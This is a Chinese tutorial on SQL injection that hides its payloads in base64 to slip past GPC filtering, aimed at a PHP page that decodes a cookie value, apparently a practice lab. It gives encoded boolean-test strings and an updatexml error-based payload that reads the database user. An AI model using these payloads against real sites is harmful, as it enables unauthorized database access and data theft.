一、base64编码注入
base64 一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中。数据编码的好处是,防止数据丢失,也有不少网站使用
base64 进行数据传输,如搜索栏 或者 id 接收参数有可能使用 base64 处理传递的参数。在 php 中 base64_encode()函数对字符串
进行 base64 编码也可以进行解码。
编码解码流程:
1 ->base64 编码->MQ==->base64 解密->1
base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字符。编码过后的字符串,在程序中重新被解码,再拼接成
SQL 攻击语句,再执行,从而形式 SQL 注入。
二、代码分析
从存在漏洞的代码中,首先判断是否有 POST 的 submit 参数过来,如果有使用$_COOKIE['uname']获取 cookis 传过来的账号,再
拼接到 SQL 带入查询。
这段代码的意思$cookee = base64_decode($cookee); 将$cookee 传过来的参数进行解码,所以$cookee 传递过来的数据必须先进
行编码,否则解码不了会导致出错。
三、base64 编码进行注入
1、测试注入点
首先观察网站是否存在 base64 编码的数据,例如传递的id值,搜索模块。
如果存在类似==等,可以用 base64 解码进行测试。
admin'and 1=1-- 编码 YWRtaW4nYW5kIDE9MS0tIA==
admin'and 1=2-- 编码 YWRtaW4nYW5kIDE9Mi0tIA==
本次测试的页面是 cookie ,所以需要 cookie 提交,而且有括号需要闭合。
原字符串 base64 编码
admin') and 1=1-- YWRtaW4nKSBhbmQgMT0xLS0gIA==
admin') and 1=2-- YWRtaW4nKSBhbmQgMT0yLS0gIA==
第一次提交页面返回存在 admin,第二次提交没有 admin,两个页面返回的结果不相同,所以存在 SQL 注入。
2、查询敏感信息
本代码存在 mysqli_error 函数,所以可以里利用报错注入再进一步获取敏感信息。
admin') and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--
进行 base64 编码
YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpKS0tICA=
提交获取敏感信息。